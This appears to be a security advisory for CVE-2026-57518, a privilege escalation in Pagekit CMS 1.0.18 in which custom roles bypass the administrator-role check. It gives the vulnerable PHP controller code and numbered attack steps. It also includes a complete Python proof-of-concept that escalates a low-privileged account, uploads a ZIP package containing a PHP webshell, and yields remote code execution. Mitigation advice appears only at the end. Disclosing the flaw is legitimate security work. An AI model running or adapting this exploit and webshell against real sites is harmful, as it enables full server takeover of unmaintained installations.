CVE: CVE-2026-57518
Product: Pagekit CMS 1.0.18 (https://github.com/pagekit/pagekit)
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-269 Improper Privilege Management
Reporter: Saidakbarxon Maqsudxonov / saidakbarxonmaqsudxonov4@gmail.com
Date: 2026-06-26
UserApiController::saveAction() only checks for assignment of Role::ROLE_ADMINISTRATOR (hard-coded ID=3). Custom roles with elevated permissions (e.g., system: manage packages) can be freely assigned by any user holding user: manage users permission, enabling privilege escalation to Remote Code Execution via the package installer.
File: app/system/modules/user/src/Controller/UserApiController.php lines 178–188
$key = array_search(Role::ROLE_ADMINISTRATOR, @$data['roles'] ?: []);
$add = false !== $key && !$user->isAdministrator();
$remove = false === $key && $user->isAdministrator();
if (($self && $remove) || !App::user()->isAdministrator() && ($remove || $add)) {
App::abort(403, 'Cannot add/remove Admin Role.');
}
$user->save($data); // saves ALL roles including unchecked custom onesRole::ROLE_ADMINISTRATOR = 3 (hard-coded in Role.php).
Any role with ID ≠ 3 (custom roles: ID 4, 5, 6…) passes through without restriction.
- Attacker has account with
user: manage userspermission - Send
POST /api/user/{attacker_id}with"roles": [2, 5]— role 5 is a custom role withsystem: manage packages - Attacker now holds
system: manage packages POST /admin/api/package/upload— upload malicious ZIP containing PHP webshellPOST /admin/api/package/install— install package- Access
http://target/packages/malicious/index.php?cmd=id→ RCE
import requests, re, zipfile, io
BASE = "https://target.com"
sess = requests.Session()
# 1. Login as low-priv user with "user: manage users"
r = sess.post(f"{BASE}/api/user/login",
json={"username": "editor", "password": "password"})
csrf = re.search(r'"csrf"\s*:\s*"([^"]+)"', r.text).group(1)
# 2. Escalate to role ID=5 (has "system: manage packages")
my_id = sess.get(f"{BASE}/api/users/me").json()["id"]
sess.post(f"{BASE}/api/user/{my_id}",
json={"user": {"id": my_id, "roles": [2, 5]}},
headers={"X-CSRF-Token": csrf})
# 3. Upload malicious ZIP → RCE
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
z.writestr("shell/index.php", '<?php system($_GET["cmd"]); ?>')
z.writestr("shell/composer.json", '{"name":"shell","version":"1.0.0"}')
buf.seek(0)
sess.post(f"{BASE}/admin/api/package/upload?type=extension",
files={"file": ("shell.zip", buf, "application/zip")},
headers={"X-CSRF-Token": csrf})
print(f"RCE: {BASE}/packages/shell/index.php?cmd=id")Full server compromise on any Pagekit installation that delegates user: manage users to non-owner accounts.
Project is unmaintained (last commit 2018, archived 2023). Restrict user: manage users to fully-trusted administrators only, or migrate to a maintained CMS.